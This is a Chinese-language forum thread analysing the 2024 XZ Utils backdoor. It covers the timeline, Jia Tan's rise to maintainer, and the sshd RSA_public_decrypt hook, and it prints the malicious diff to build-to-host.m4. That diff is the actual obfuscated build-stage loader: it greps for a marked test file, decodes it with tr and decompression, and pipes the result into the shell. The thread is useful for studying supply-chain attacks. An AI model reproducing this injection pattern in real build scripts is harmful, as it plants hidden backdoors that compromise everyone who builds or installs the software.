吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 432|回复: 4
收起左侧

[讨论] XZ Utils backdoor(2024.03.29)

[复制链接]
yuluo829 发表于 2024-3-31 11:37

XZ Utils backdoor(2024.03.29)

前不久,在 2024年3月29日xz-utils 中发现了后门漏洞。这是一套为开发人员提供无损压缩的软件。通常用于压缩 ttarballs, software packages, kernel images, and initramfs 镜像。分布非常广泛,为了方便起见,普通 Linux 或 macOS 系统都会安装它。

因此此漏洞涉及范围为全世界内的所有 linux 和 mac os 系统。

大致总结

  1. 攻击者 JiaT75 (Jia Tan,github 账号已经被关停) 于 2021 年注册了 GitHub 账号,之后积极参与 xz-utils 的维护,积极贡献。获得了 commit 代码的权利。
  2. JiaT75 在最近的一次 commit code 时,故意加入了 bad-3-corrupt_lzma2.xzgood-large_compressed.lzma 两个看起来并不起眼的测试用二进制数据。但是在编译脚本中,在特定条件下会从这两个文件中读取内容对项目编译结果进行修改,致使编译结果和公开的源代码不同。
  3. 目前 oss-security和 github 等分析代码显示,注入的代码会使用 glibc 的 IFUNC 去 Hook OpenSSH 的 RSA_public_decrypt 函数,使攻击者可以通过构造特定的验证数据绕过 RSA 签名验证。
  4. 只要是同时使用了 liblzma 和 OpenSSH 的程序就会受到影响,最直接的目标就是 sshd,使得攻击者可以构造特定请求,绕过密钥验证远程访问。
  5. 受影响的 xz-utils 包已经被并入 Debian os testing 中进行测试,攻击者同时也在尝试并入 fedoraubuntu。  
  6. 巧合的是,注入的代码存在某种 Bug,导致特定情况下 sshd 的 CPU 占用飙升。被一位 pg committer 注意到了,发现了这个阴谋并报告给 oss-security,致使此事败漏。 如果不是因为这个 Bug,那么这么后门有很大可能被并入主流发行版的 stable 版本,将会是比肩 心脏滴血漏洞(CVE-2014-0160 的重大安全事件。
  7. JiaT75 抢在 ubuntu beta freeze 的几天前才尝试让新版本并入,以期望减少在测试期间被发现的时间。但是,总后还是被发现。

相关代码

git commit 注入的代码如下:

$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],

   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])

 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

涉及个人

xz-utils 有两个维护者:

  • Lasse Collin ( Larhzu ) 从一开始(~2009 年)就一直维护着 xz,在此之前主要维护lzma-utils.
  • Jia Tan ( JiaT75 ) 在过去 2~2.5 年里开始为 xz-utils 做出贡献,并获得提交访问权限,然后大约 1.5 年前获得 manager 权限。

目前相关的 github 账号已经被封,相关网站托管在 github 上,也已经暂停。之后可能会回归到 tukaani.org 域名下。

参考来源:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

woaicrack 发表于 2024-3-31 11:51
正好有需要,太感谢了
pbmmm 发表于 2024-3-31 16:35
urdarling 发表于 2024-3-31 22:42
我感觉他这个人就是为了炫技,因为攻击的目标基本就是服务器端,而个人电脑里面才容易套出资金
 楼主| yuluo829 发表于 2024-3-31 23:23
urdarling 发表于 2024-3-31 22:42
我感觉他这个人就是为了炫技,因为攻击的目标基本就是服务器端,而个人电脑里面才容易套出资金

不晓得了,哈哈哈,反正是潜伏两年半。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止回复与主题无关非技术内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-5-2 21:16

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表